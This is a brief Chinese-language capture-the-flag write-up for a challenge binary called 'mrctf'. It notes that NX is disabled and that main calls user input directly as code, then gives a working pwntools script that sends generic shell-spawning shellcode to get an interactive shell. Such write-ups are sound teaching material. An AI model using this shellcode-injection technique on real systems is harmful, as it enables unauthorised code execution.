checksec exeinfo:
没开NX 开了PIE
64位 IDA64 打开:
发现main函数 不能F5 直接看汇编:
先创建了buf(大小0x410) var4(大小0x4) 两个变量
进行一次puts操作 再进行一次读取0x400字节的read 存到buf
按理说构不成溢出 但是下面的汇编:跳跃到11D6 将buf的内容存到rax 并进行call
结果就是直接输入shellcode就能执行:
exp:
from pwn import *
p = process('./mrctf')
context.log_level = 'debug'
context(os='linux', arch='amd64')
gdb.attach(p)
pause()
shellcode = asm(shellcraft.sh())
p.sendlineafter("magic!\n", shellcode)
p.interactive()
一定要记得设置context64位 不然打不通!